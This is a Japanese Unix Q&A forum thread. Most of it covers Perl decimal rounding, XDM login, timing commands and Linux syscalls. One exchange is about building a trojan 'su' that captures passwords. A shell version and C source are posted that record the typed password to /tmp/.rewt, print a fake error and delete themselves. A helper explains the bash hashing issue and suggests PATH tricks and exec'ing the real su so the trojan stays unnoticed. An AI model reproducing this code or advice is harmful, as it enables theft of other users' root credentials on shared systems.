|
一人で駄投稿を繰り返して大変申し訳ありません。 けっきょく 100 倍して 0.5 を足して 100 で割る形式に戻し、 変数をすべて Math::BigFloat にしました。 なんとなくできているような気がしますが、 これぐらいの時間帯になってくると 「いったい何ができてるってことなのか」わからなくなってくるので ;;; 明日また考えます。X68000 さん、名無しさん、ありがとうございました。 何かありましたらよろしくお願いします。 |
|
家に帰って思ったけど dc コマンドを `` で囲んでもよかったかも ;;; |
|
>>2947 ふくし もう解決してらっしゃる様ですが、最初のソースの $uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍 を $uriage100 = $tanka * $kosuu * 100 + 0.05; # 売上の 100 倍 みたいにして、端数の発生しない桁(この例なら0.01セントの桁)で 適当な数字を足してやると良いんじゃないでしょうか。 端数の発生しない桁が決められない場合はダメですが・・・。 #ぱっとみて思いついただけなんで全然的外れかもしれません |
|
はじめまして。FreeBSD4.6.2-RELEASEとXFree86 4.2をインストールして、XDMからログインしようとしているのですが、rootではログインできるのですが、一般ユーザだとログインできたと思ってもすぐにもとのログイン画面に戻ってしまいます。.xsessionは作っていないので記述ミスはないと思うのですが、なぜ一般ユーザだとログインできないのか分かりません。どなたか対処法を知っている方がいましたら教えていただきたいのですが。 よろしくお願いします。 |
|
解決しました。 |
|
>>2945 ふくし > ちなみに 68User さん、BCD というのはモジュールありますか? binary decimal で検索したら、これがひっかかりました。 http://search.cpan.org/author/JPEACOCK/Math-FixedPrecision-0.21/FixedPrecision.pm |
|
>68userさん,お返事が送れて申し訳ありません.kikiです >> 2.PATH変更,トロイ置場を先に検索するようにする. >> ができているなら、後は /usr/bin/su を起動すればいいだけ >> だと思います。そこで PATH が出てくる理由がよくわかりません。 たしかにcshなどのシェルはsuトロイが動いた後にsuコマンド を打ち込むと,本物のsuが問題なく立ち上がるのですが, bashの場合,suトロイが動いた後にsuコマンドを打ち込むと, bash:/suトロイ置場/suトロイ:そのようなファイルやディレクトリはない といわれてしまいました. suトロイは消えていたので,本物のsuを探しに行ってくれるはずな のですが,どうやら本物のsuを探しにいってくれないようなのです. もちろんPATHは本物のsuにも通っています.そこで, suトロイの中でPATHを変更しようと思ったのです. こちらも理由を考えていたのですがわかりません. バージョンは bash-2.04-1v14です. 何か,こころあたりがございましたら, 御教授願います.よろしくお願いします. |
|
>>2952 kiki 具体的に何をやっているのかが全く見えないです。遠回しな 書き方をしないでスクリプトを提示するなりしてください。 なお、FreeBSD 4.7-RELEASE+bash-2.05.0(1)-release では 成功しました (意図通りの挙動かどうかはわかりませんが)。 bash-2.05$ PATH=.:$PATH bash-2.05$ cat su #!/bin/sh echo -n "(Trojan su)Password: " stty -echo read a stty echo echo "" echo "Sorry (Your password [$a] is captured!)" mv su su.bak bash-2.05$ type su su is hashed (./su) bash-2.05$ su (Trojan su)Password: Sorry (Your password [hoge] is captured!) bash-2.05$ which su /usr/bin/su bash-2.05$ su Password: Sorry |
|
>>68user様 お返事ありがとうございます.kikiです. 申し訳ありません.トロイのソースを書き込ませていただきます. cで書かれたトロイを使っています. トロイの置き場所は /home/koko/.oite です. #include <stdio.h> #include <stdlib.h> #define SU_PASS "/tmp/.rewt" main (int argc, char *argv[]) { char *key; char buf[40]; FILE *fd; key = (char *)getpass ("Password:"); fd = fopen(SU_PASS,"w"); fprintf(fd, "pass: %s\n", key); fclose(fd); printf ("su: incorrect password\n"); sprintf(buf, "rm /home/koko/.oite/%s", argv[0]); system(buf); exit (1); } よろしくお願いします. こちらでも引続き原因を調べてみます. |
|
>>2954 kiki つまりやってることは >>2953 68user のスクリプトと同じなわけで、こちらで実行すると 2回目の su で /usr/bin/su を実行してくれました。 ということは bash が原因なわけで、ハッシュテーブルを再構築 しない設定になっているのでは、などを疑うべきなんでしょうけど、 bash は使ってないのでよくわかりません (勝手にハッシュテーブル 再構築してくれるんじゃないのかな?)。そこらへん何か設定がある んでしたっけ。 あとは bash の最新版を入れてみるとか。 |
|
>>2954 kiki bash-2.03.0(1)-release と bash-2.05a.0(1)-release でやって みましたが、どうやら PATH=.:$PATH だと OK (/usr/bin/su が実行される) ですが PATH=/foo/bar:$PATH と絶対パスで設定すると /foo/bar/su が hash に残っているようですね。 マニュアルを読む限りでは bash の仕様のような気がしますし、相対 パスのコマンドが hashing されていた場合は (カレントディレクトリが 移動しているかもしれないので) 再度 PATH を検索する、というのは 納得のいく挙動です。 # でも、もしかしたら bash のバグかもしれません。 解決策としては % shopt -s checkhash があげられるでしょうけど、これだと操作者の協力が必要なので、トロイの su を作るという目的を第一に考えるのであれば、 1. PATH=../../../../../../../../../../../../home/foo/bar:$PATH とする。 カレントディレクトリの階層があまりに深くなければ、これでいける。 2. トロイ版 su の中で /usr/bin/su を exec する といったところでしょうが、普通は 2 のような気がします (作ったことないのでわからんけど)。 |
|
みなさん、計算の問題でフォローアップありがとうございます。 とりあえず Math::BigFloat で快適です。 3471943.48 および 3471943.488 という数を 0 と比較すると おかしいという現象があって一瞬ひやっとしましたけど、 5.005003 ではバグってるけど 5.6.0 では直ってるようでした。 ■ソース #! perl use Math::BigFloat; while (<DATA>) { chomp; $num = Math::BigFloat->new($_); if ($num >= 0) { print "$num is larger-equal than 0\n"; } else { print "$num is not larger-equal than 0\n"; } $cmp = $num->fcmp("0"); print "compare $num vs 0: $cmp\n"; } __DATA__ 3471943.488 3471943.48 3 ■5.005003 での実行結果 3471943.488 is not larger-equal than 0 compare 3471943.488 vs 0: -1 3471943.48 is larger-equal than 0 compare 3471943.48 vs 0: -1 3. is larger-equal than 0 compare 3. vs 0: 1 ■5.6.0 での実行結果 3471943.488 is larger-equal than 0 compare 3471943.488 vs 0: 1 3471943.48 is larger-equal than 0 compare 3471943.48 vs 0: 1 3. is larger-equal than 0 compare 3. vs 0: 1 |
|
>>2956 68user様 またお返事が送れて申し訳ありません.kikiです. お返事ありがとうございます.早速ためしてみます. この質問を通じて,いろいろ知らないこともわかったので その点でもとても勉強になりました. ありがとうございました. |
|
初めてになりますが、質問がありますので、お力添えをお願いします。 プログラムの実行時間を計るために、timeコマンドがありますが、このときに出力される結果を、指定したファイルに書き込む方法はないでしょうか? リダイレクトを使って、 time 実行するコマンド > ファイル名 としても、ファイルに結果が出力されませんでした。プログラムの実行時間を書き込むための良いアドバイスをお願いします。 |
|
>>2959 KENT1 お使いの OS とシェルを必ず書いてください…と言うのも疲れたので、 てきとーに試してみてください。 /usr/bin/time ls >& file /usr/bin/time ls >file 2>&1 env TERM= csh -c "time ls" > file env TERM= bash -c "time ls" > file |
|
初めまして。初心者なので質問自体が意味不明かもしれませんが、 システムコールでCPU使用量や、ディスク使用量などを取得する方法を教えてください。dfコマンドなどで取得すると、Linux、Solarisで取得できる情報が違ってくるので、、、ちなみに使用言語はC、OSはLinuxでお願いします。 |
|
>>2961 1202 > ディスク使用量 statfs(2), fstatfs(2) > CPU使用量 プロセス単位の情報かシステムの情報を取るのかわかりませんが、 Linux ならどちらにせよ /proc 直読みなのかな? あるいは /proc を 読むような API が用意されているかもしれませんが、わかりません。 後は man -k stat、man -k cpu、man -k disk などを活用してください。 |
|
>>2962 68user ありがとうございます。 早速試してみます。 |
|
kikiと申します. 68user様,先日はお世話になりました. お聞きしたいことがあります. 私は今,シェルでpsコマンドを打ち込んだら 標準出力で"psコマンドがうちこまれました." と出力させるプログラムを作ろうとしています. この時に,シェルからpsコマンドが打ち込まれたかどうかを 判定するプログラムに,シェルで打ち込まれたコマンドを渡して 判定させたいのですが,このような事は,プロセス間通信や デーモンを使うのでしょうか? 皆様のアドバイスをよろしくお願い致します. また,簡単なデーモンのソースがあるページや, デーモンを作るにあたってやくだつページを ご存知でしたら教えてください. よろしくお願いします. |